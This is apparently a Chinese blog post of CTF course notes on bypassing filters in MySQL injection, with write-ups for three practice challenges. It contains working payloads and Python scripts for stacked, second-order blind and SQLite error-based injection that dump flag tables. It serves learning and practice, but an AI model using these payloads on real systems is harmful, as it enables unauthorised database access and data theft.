0%

MYSQL注入绕过(大比武_CTF课_第一天)

前言

高大上的CTF培训开始了,第一天课程MYSQL注入绕过。

笔记

特殊字符绕过

空格

1、URL编码跳过,通过构造特殊的编码绕过SQL注入检测,
例如:%0a,%09,%0b,%0c,%0d,%20等。%23=#
2、注释绕过:多行注释:/*/,内联注释:/!*/
3、某些地方可以用—、~等运算符与数字结合,或者用字符型如:select-1,2,’3’from…
4、括号绕过:select(password)from(user)

逗号

1、 from for: substr(‘’ from 1 for 2);在函数中可用
2、 join: union select * from (select 1)a join (select 2)b join (select 3)c;
3、 offset: limit 1 offset 0

单引号

1、hex编码:select table_name from information_schema.tables where table_schema = 0x7573657273;转成16进制执行的ASCII码
2、char编码: select from user where username = char(97,100,109,105,110);转成10进制ASCII码
3、宽字节注入:
条件:
(1)、使用了GBK编码。
(2)、使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()这类的过滤函数。
原理:%d5’ -> %d5' -> 0xd50x5c’ -> 誠’

比较符

1、等于:
(1)、=号可以替换为 like、regexp、rlike(默认不匹配大小写,需在where 后添加关键字binary)
(2)、select ord(‘a’) between 0 and 97;
(3)、select (ord(substr(‘asd’ from 1 for 1)) in (97));
2、不等于:
!=、<>
select (ord(substr(‘asd’ from 1 for 1)) not in (97));
3、大小于:
(1)、greatest() 最大值比较
(2)、least() 最小值比较
select greatest(ord(‘a’),0) in (97);

绕过关键字

关键字、函数

(1)、双写绕过:unionunion select * ffromrom users。漏洞原因替换为空字符。
(2)、waf缺陷绕过: union/*/select,/!union//!select*/ 内联注释会被当做正常语句执行
(3)、等效函数绕过
ascii(),ord(),返回字符的ascii码。hex()返回函数的16进制。
sleep(1) 时延 benchmark(1000,md5(1));执行多少次。
concat() 链接字符串 concat_ws() make_set() 链接字符串,以第一个参数做为分隔符。
mid(),substr(),substring()字符串切片

利用SQL语法特性绕过

绕过information_schema(无列名)

Mysql开发团队在5.5.X版本后将innodb作为数据库的默认引擎。mysql>5.6.x库里增加了两个新表,innodb_index_stats和innodb_table_stats。
查库名

1
select group_concat(database_name) from mysql.innodb_table_stats;

查表名

1
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();

不使用例名查数据

1
select group_concat(`2`) from (select 1,2,3 union select * from user)x;

报错注入

extractvalue()

extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

1
select username from security.user where id=1 and (extractvalue('anything',concat('/',(select database()))))

updatexml()

语法updatexml(目标xml文档,xml路径,更新的内容)

1
select username from security.user where id=1 and (updatexml('anything','/xx/xx','anything'))

报错注入的小问题

有可能出现显示不全的问题,这时可以使用reverse()倒置函数。

进阶注入

寻找可能存在的注入点

(1)、利用 ‘ ‘) ‘)) “ “) “)) \ 对参数进行检测
(2)、利用 1’&&’1’=’0,2,2-1进行测试

测试被禁用的字符

(1)、!,#,/,,‘,”,)等等

1
select,union,union select,from,char,concat,concat_ws,meke_set,gorup_concat,database,\x00,\x0a等等

二次注入

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入。
假如有一个网站管理员的用户名为:admin 密码为:admin888 攻击者注册了一个账号 : admin’– -密码为:123 因为账号当中有特殊字符,网站对于特殊字符进行了转义,一次注入在这就行不通了。 虽然账号被转义了,但是他在数据库当中任然是以 admin’– -的方式被储存的。 现在攻击者开始实施正真的攻击了,他开始对账号修改密码。 普通网站修改密码的过程为:先判断用户是否存在  确认用户以前的密码是否正确  获取要修 改的密码  修改密码成功。 在数据库中 – 表示注释的意思,后面的语句不会执行,而admin后面的那个单引号又与前面的 ‘ 闭合,而原本后面的那个单引号因为是在 – 之后,所以就被注释掉了,所以他修改的其实是 root 的密码

堆叠注入

堆叠注入原理

(1)、原理
原来的语句构造完成后加上分号,代表该语句结束。
(2)、条件
调用mysqli_multi_query()函数 (一般的mysqli_ query()函数仅支持一条查询)

常用语句

• show databases; 显示mysql中所有数据库的名称
• show tables from ; 显示数据库中表的名称
• show columns from ;(desc ;) 显示表中列名称
• show create database ; 显示创建库语句的SQL信息。
• show create table ; 显示创建表语句的SQL信息。
• show engines; 显示安装以后可用的存储引擎和默认引擎
• show errors; 显示最后一个执行语句所产生的错误
• show procedure status ; 显示储存过程内容
• show global variables; 显示所有全局变量

mysql语法利用-handler语句

• mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表 中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标 准中。
• handler tbl_name OPEN [ [AS] alias] 打开一个表作为句柄
• handler tbl_name READ { FIRST | NEXT} 读取表内容 • handler tbl_name CLOSE 关闭句柄

mysql语法利用-set语句

(1)设置全局变量

1
2
set @a='admin888';
select @a;

(2)在不修改配置文件的情况下,修改部分配置参数

1
2
set sql_mode=PIPES_AS_CONCAT; 将|| 视为 字符串连接符 而非 '或' 运算符
select 1||1

mysql语法利用-预处理

1
2
3
4
#定义预处理语句 
PREPARE <stmt_name> FROM <preparable_stmt>;
#执行预处理语句
EXECUTE <stmt_name> ;

课后练习

[GYCTF2020]Blacklist

拿到题先测试是否有注入点,在测试’ and 1=1时发现出错,看来是字符形注入
出错构造payloaod尝试:
http://9104e2ff-8fe5-4faa-97ef-9fa52cd44622.node3.buuoj.cn/?inject=1%27%20union%20select%201,2,3%23
返回如下:

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

过滤了部分关键字,但是没过滤符号,可以尝试堆叠注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
--先暴个当前的数据库
1' and extractvalue(1,concat('~',database()))%23
/*
返回如下:
error 1105 : XPATH syntax error: '~supersqli'
*/

--显示表名
-1';use supersqli;show tables;%23
/*
返回如下:
array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}
*/
--查询字段名
-1';use supersqli;show columns from `FlagHere`;%23
/*
回显如下:
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
*/
--接近了,由于不能使用Select查询,使用handler代替
-1';handler FlagHere open;handler FlagHere read first;
/*
得到flag
array(1) {
[0]=>
string(42) "flag{d3530fdb-aa80-4bf5-897c-c9b9070cecd5}"
}
*/

handler语法

1
2
3
4
5
6
7
8
9
10
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

如:通过handler语句查询users表的内容

1
2
3
4
5
6
handler users open as VICCC; #指定数据表进行载入并将返回句柄重命名
handler VICCC read first; #读取指定表/句柄的首行数据
handler VICCC read next; #读取指定表/句柄的下一行数据
handler VICCC read next; #读取指定表/句柄的下一行数据
...
handler VICCC close; #关闭句柄

[网鼎杯2018]Unfinish

登录
直接显示一个登录界面。测试了(or = )万能密码。好像不管用。
于是拿出了dirsearch工具看看还有没有其它页面。

1
python3 dirsearch.py -u http://2d563537-0a03-44bb-95f7-666d435b3f22.node3.buuoj.cn -e * -s 0.1 -t 2

这里设计了-s 为0.1秒扫描一次,太快了会报429。-t为两个线程。
扫描结果
扫出来几个有意思的PHP,config.php和register.php。
config.php没啥,register.php。好像有点东西。
注册界面
联想到上午老师讲的课,感觉可能是二次注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/python

import requests as req
import random
import sys

URL = 'http://205c2b75-f634-4540-b69e-b584b950d287.node3.buuoj.cn'


def login(email):
data = {
"email": email,
"password": "123456"
}
res = req.post(URL + '/login.php', data)
if res.status_code == 200 and '1 </span>'.encode() in res.content:
return True
return False


def reg(u, e):
data = {
"username": u,
"email": e,
"password": "123456"
}
res = req.post(URL + '/register.php', data, allow_redirects=False)
if res.status_code == 302:
return login(e)
return False
table = 'qwertyuiopasdfghjklzxcvbnm'


def b(pl):
email = ''.join(random.sample(table, 8)) + '@qq.com'
return reg(pl, email)


def getLen(sql):
print("[+] Starting getLen...")
for i in range(1, 60):
sys.stdout.write("[+] Len : -> %d <-\r" % i)
sys.stdout.flush()
if b("1'and((select length((%s)))=%d)and'1" % (sql, i)):
print("[+] Len : -> %d <-" % i)
return i
return 0


def getData(sql="version()"):
_len = getLen(sql)
if not _len:
print("[-] getLen 'Error'")
return False
print("[+] Starting getData...")
table = '}{1234567890.-@_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
res = ''
for pos in range(1, _len + 1):
for ch in table:
sys.stdout.write("[+] Result : -> %s%c <-\r" % (res, ch))
sys.stdout.flush()
pl = "1'and((select substr((%s)from(%d)for(1))='%s'))and'1" % (
sql, pos, ch)
if b(pl):
res += ch
break
print("[+] Result : -> %s <- " % res)
return res

# right(left(x,pos),1)
# mid(x,pos,1)
if __name__ == '__main__':
# pl = "(select substr((version())from(1)for(1))='%s')" % '5'
# pl = "1'and(%s)and'1" % pl
# print(b(pl))
pl = 'version()'
pl = 'select t.c from (select (select 1)c union select * from flag)t limit 1 offset 1'
getData(pl)

if res.status_code == 200 and '1 </span>'.encode() in res.content:
return True
return False

[HarekazeCTF2019]Sqlite Voting

python暴破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# coding: utf-8
import binascii
import requests
URL = 'http://a96ca76b-1691-46e4-b5c9-b2c8dcc79f94.node3.buuoj.cn/vote.php'

l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)


table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'


res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
坚持原创技术分享,您的支持将鼓励我继续创作!